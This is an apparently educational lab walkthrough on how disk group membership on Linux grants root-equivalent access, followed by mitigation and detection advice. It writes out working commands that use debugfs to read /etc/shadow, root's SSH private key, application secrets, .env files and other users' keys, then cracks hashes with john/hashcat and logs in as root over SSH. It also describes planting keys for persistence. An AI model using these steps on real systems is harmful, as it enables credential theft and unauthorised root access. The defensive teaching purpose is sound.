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July 19, 2026

The disk Group: The Quietest Root Shell You'll Ever Hand Out

Why one throwaway usermod command can be worse than giving someone your root password

By Kalash Kundaliya

8 min read

Why one throwaway usermod command can be worse than giving someone your root password

There's a moment in every sysadmin's life where a ticket lands on your desk: "Can you add this contractor to the disk group so their monitoring script can read /dev/sda?" It sounds harmless. disk isn't sudo. It isn't root. It's just... disks, right?

Wrong. On a Linux box, membership in the disk group is functionally equivalent to root. Not "close to root." Not "root under certain conditions." Root — full stop, filesystem permissions and all, because it grants raw read/write access to the block devices your entire operating system lives on. In this piece, I'll walk through exactly how that privilege gets abused, why the usual defenses (strong passwords, modern hashing) don't save you, and what to actually do about it.

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Reconnaissance

The lab setup is deliberately mundane — the kind of thing that happens in real environments every day:

sudo adduser practice
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A new, unprivileged user. Nothing suspicious yet.

Then comes the misconfiguration — the one line that quietly undoes every access control on the box:

sudo usermod -aG disk practice
id practice
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A quick check confirms the damage:

id
groups
cat /etc/group | grep disk
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practice now shows up as a member of disk. On paper, that's a group meant for utilities that need to read disk metadata — think smartctl checking drive health. In practice, it's a master key.

Filesystem permissions — the rwx bits you check with ls -la — only mean something to the filesystem layer. They're enforced by the kernel when a process opens a file through the normal filesystem interface. But /dev/sda, /dev/mapper/ubuntu--vg-ubuntu--lv, and friends aren't files in that sense — they're direct handles to the raw bytes on disk. And group disk owns them:

ls -la /dev/sd*
ls -la /dev/mapper/
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If you can read the raw block device, you can read everything on it, regardless of who owns which file or what permissions are set — because you're not going through the filesystem's access checks at all. You're reading the disk one block at a time and reconstructing the filesystem yourself.

On most modern Ubuntu installs, that raw device sits under LVM (Logical Volume Manager), which is easy to confirm:

df -h
lsblk
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Somewhere in that output is a device like /dev/mapper/ubuntu--vg-ubuntu--lv — the logical volume backing /. That's the target.

Identified IP Addresses

For this lab scenario, two hosts are in play:

Host Role IP Address Target (Ubuntu server) Misconfigured host, practice user has disk group membership 192.168.1.11 Attacker (Kali) Used for offline hash cracking and SSH access back into the target Local to the same lab segment

The target IP (192.168.1.11) is what the recovered SSH key is ultimately used against in the exploitation phase below.

Exploitation

Steps of Exploitation

Method 1 — Read /etc/shadow (Credential Harvesting)

The tool that makes this trivial is debugfs, a filesystem debugger that ships with every ext4 system and doesn't care about permissions — it talks to the block device directly:

debugfs /dev/mapper/ubuntu--vg-ubuntu--lv
cat /etc/shadow
quit
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No sudo. No exploit. No CVE. Just a member of the disk group asking the filesystem debugger to hand over the password hash file, and the debugger obliging — because as far as the kernel is concerned, this user has a legitimate handle on the raw device.

From here the classic move is to crack the hashes offline:

john shadow_dump.txt --wordlist=/usr/share/wordlists/rockyou.txt
# or
hashcat -m 1800 shadow_dump.txt /usr/share/wordlists/rockyou.txt

If root's password is weak or reused, you now have it in cleartext. But here's the twist most walkthroughs skip over: on modern Ubuntu (22.04+) and Debian 12+, this often doesn't work anymore — not because the disk group hole is patched, but because the hashing algorithm changed underneath it.

Older systems hash passwords with SHA-512 ($6$) or, on ancient boxes, MD5 ($1$) — both fast enough for GPUs to brute-force at scale. Modern distros default to yescrypt ($y$), a memory-hard algorithm purpose-built to resist exactly this kind of offline cracking. Where hashcat can chew through billions of SHA-512 guesses a second, yescrypt's memory requirements slow that down by orders of magnitude, turning a weekend crack into a multi-year one.

You can tell at a glance what you're dealing with by the hash prefix:

$y$  = yescrypt (Ubuntu 22.04+, Debian 12+)
$6$  = SHA-512 (older Ubuntu/Debian, most RHEL)
$5$  = SHA-256
$1$  = MD5 (very old systems)

So an attacker who lands on a modern box with disk access doesn't waste days cracking a hash that won't crack. They skip the lock entirely.

Method 2 — Read (or Plant) Root's SSH Key

Lab setup — to make this reproducible, the lab first gives root an SSH keypair to find, run as a privileged user on the target itself:

bash

# On Ubuntu with privileged user (sudo su)
# Step 1: Generate a keypair for root
ssh-keygen -t rsa -b 4096 -f /root/.ssh/id_rsa -N ""
# Step 2: Authorize the key
cat /root/.ssh/id_rsa.pub > /root/.ssh/authorized_keys
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The ssh-keygen command creates a public/private key pair:

  • -f /root/.ssh/id_rsa sets the output path for the key.
  • -N "" sets an empty passphrase so the key works non-interactively.

With that in place, the scenario now mirrors a real box where root has key-based SSH configured. From here, disk group membership is all that's needed to reach it — if root uses key-based SSH auth, debugfs can read the private key directly off disk, no cracking required:

If root uses key-based SSH auth, debugfs can read the private key directly off disk — no cracking required:

debugfs /dev/mapper/ubuntu--vg-ubuntu--lv
ls /root/.ssh
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And because debugfs can run in write mode (-w), this cuts both ways — an attacker doesn't need to steal an existing key. They can write their own public key straight into root's authorized_keys, creating a persistent backdoor that survives password resets entirely:

cat /root/.ssh/id_rsa
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Copy it out, fix the permissions, and authenticate as root over the network like nothing happened:

bash

nano key
chmod 600 key
ssh -i key root@192.168.1.11
id
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Method 3 — Read Application Secrets and Config Files

The shadow file and SSH keys are just the highlights. The same raw access exposes application secrets that would otherwise be permission-denied:

cat /var/www/html/config.php
Permission denied
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Normal filesystem access says no. debugfs doesn't ask:

debugfs -w /dev/ubuntu-vg/ubuntu-lv
cat /var/www/html/config.php
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And the config file — database password included — comes right out. The same technique reaches anything else on the volume:

debugfs: cat /var/www/html/config.php        # app config / DB creds
debugfs: cat /etc/mysql/debian.cnf            # MySQL system credentials
debugfs: cat /var/www/app/.env                # environment secrets
debugfs: cat /root/.bash_history               # commands typed in plaintext
debugfs: cat /etc/crontab                      # scheduled tasks running as root
debugfs: ls /etc/cron.d
debugfs: cat /home/admin/.ssh/id_rsa           # any other user's private keys

Database passwords, API keys, .env files, cron jobs that reveal what runs as root, bash history full of commands someone thought were private, SSH keys belonging to other users entirely. If it's stored on that volume, disk group membership can reach it.

Exploitation Conclusion

Across all three methods, the pattern is identical: debugfs bypasses the filesystem's permission checks entirely by talking directly to the block device. Whether the goal is cracking /etc/shadow, lifting or planting SSH keys, or reading application secrets, the disk group is the only credential that ever mattered — everything downstream of it (file ownership, chmod, even root's own password) becomes irrelevant. A single group membership collapses the entire permission model of the OS.

Key Takeaways

  • disk group membership is equivalent to root, not a narrower or "safer" version of it — it grants raw block-device access, which sits below the filesystem permission layer entirely.
  • debugfs requires no exploit, no CVE, and no elevated shell — just a handle on the raw device, which disk membership provides by design.
  • Modern password hashing (yescrypt) doesn't close this hole. It only slows down Method 1 (offline cracking); Methods 2 and 3 bypass password security altogether by reading or planting SSH keys and secrets directly.
  • The blast radius is the entire volume, not just /etc/shadow — application configs, environment files, cron jobs, bash history, and other users' SSH keys are all in scope.
  • This is a misconfiguration, not a vulnerability. There's nothing to patch; the fix is entirely about who gets added to disk in the first place.

Mitigation Strategies

  • Audit group membership regularly. Run getent group disk (and check video, kmem, and other raw-hardware groups too) and keep the member list short and deliberate — ideally empty, outside of specific service accounts that genuinely need it.
  • Never add interactive or unprivileged users to disk. If a tool needs SMART data or raw device access, use a narrower mechanism instead — a dedicated wrapper invoked through scoped sudo rules for the exact command needed, or a purpose-built capability rather than blanket group access.
  • Treat disk group membership as equivalent to root in your access model. Anywhere you'd require MFA, approval workflows, or enhanced logging for root/sudo access, apply the same bar to disk group changes.
  • Don't rely on hashing algorithm strength as a defense. yescrypt makes offline cracking of /etc/shadow slower, but it does nothing to stop direct reads of SSH private keys or config files — the fix is access control at the group level, not hash strength.
  • Monitor for debugfs and other raw-disk tools in your logging/EDR. Their use outside of legitimate filesystem recovery or forensics work is a strong indicator of compromise or misuse.
  • Alert on usermod -aG disk and similar group-modification commands in your SIEM. Group changes to disk, kmem, video, and root should trigger the same review process as a sudo grant.
  • Apply least privilege to LVM volumes specifically. Where raw access to a logical volume is genuinely required (e.g., backup tooling), scope it to a dedicated service account with no interactive login, rather than a group any user could later be added to.

Conclusion

Privilege escalation doesn't always look like an exploit. Sometimes it looks like a single, well-intentioned usermod command from six months ago that nobody thought to revisit. The disk group is a reminder that Linux's permission model has a floor — and if you're standing below the filesystem layer, permissions above it stop mattering. The safest assumption is the correct one: if a user can touch the raw block device your root filesystem lives on, that user is root. Treat the group accordingly.

💼Behind the Hack

Kalash Kundaliya is a dedicated cybersecurity professional and educator passionate about demystifying penetration testing and ethical hacking. Through detailed, practical write-ups, he aims to help aspiring security professionals build critical hands-on skills in controlled, legal lab environments.

This guide is part of his comprehensive "VulnHub DC Series Walkthrough" collection, where complex attack chains are broken down into clear, step-by-step learning experiences.

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